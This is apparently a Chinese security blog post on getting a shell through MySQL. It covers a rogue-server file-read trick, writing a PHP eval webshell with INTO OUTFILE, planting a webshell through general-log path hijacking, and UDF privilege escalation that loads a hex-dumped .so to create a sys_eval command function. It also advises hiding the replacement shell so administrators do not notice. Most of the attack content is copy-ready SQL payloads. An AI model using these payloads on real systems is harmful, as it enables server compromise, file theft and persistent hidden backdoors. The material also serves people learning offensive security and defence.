关于MySQL的几种getshell

1.MySQL远程读取文件漏洞

场景介绍:当靶机拥有连接数据库功能时,我们在自己服务器上开启数据库服务,下载脚本
监听脚本
用python2运行
在这里插入图片描述
至于读取什么文件就更改filelist就可以了。
这里要注意靶机连接上后要执行一次命令才会交互发送消息过来。

2.MySQL几种写马方式

1.基于直接写入根目录
show global variables like '%secure%';
适用场景:
1.secure_file_priv设置为空;
2.有文件可写权限

select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"

知识点拓展

> outfile和dumpfile的区别

outfile:

1、 支持多行数据同时导出

2、 使用union联合查询时,要保证两侧查询的列数相同

3、 会在换行符制表符后面追加反斜杠

4、会在末尾追加换行

dumpfile:

1、 每次只能导出一行数据

2、 不会在换行符制表符后面追加反斜杠

3、 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;

当然into outfile函数也可以写入二进制文件,只是最终无法生效罢了(追加的反斜杠会使二进制文件无法生效)

如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制

2.日志写入

第一步:
show variables like '%general%';
查看日志位置和权限
在这里插入图片描述
开启监测:
set global general_log = on;

第二步:设置路径
set global general_log_file = ‘/var/www/html/1.php’;

第三步:写马
查询一个一句话木马:(这时log日志里就会记录这个一句话木马。)
select ‘<?php eval($_POST[‘NYG’]);?>’;

拓展攻击:

慢查询补充
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。 一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。

如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中

show global variables like '%long_query_time%'

–查看服务器默认时间值
通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉

拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些

像这种东西还是比较适合那些集成环境,比如,appserv,xampp…因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高
其它方法:通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,找上传点 GetShell

三.udf提权拿到root权限

当没法利用以上方法时,就可以使用这个方法
第一步:
show global variables like '%plugin%';
plugin_dir 选项用于指定插件目录
在这里插入图片描述
将有毒的so文件写进插件里就会自动进行加载

# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

这里so文件如何获取,可以到sqlmap里面的|data\udf\mysql里面找有分类好的
在这里插入图片描述
或是网上搜寻一下
so文件
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:

直接传入路径编码

SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

也可以将路径 hex 编码

SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:

SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; 

SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';

可以看到
在这里插入图片描述
提供一个脚本收纳
好东西

第二步
创建函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
使用
select sys_eval('env');

引用博客
狼组安全团队
MySQL文件读取
国光
感谢大佬的知识分享,希望大家都能有所学习领悟,共同进步。

  • 9
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值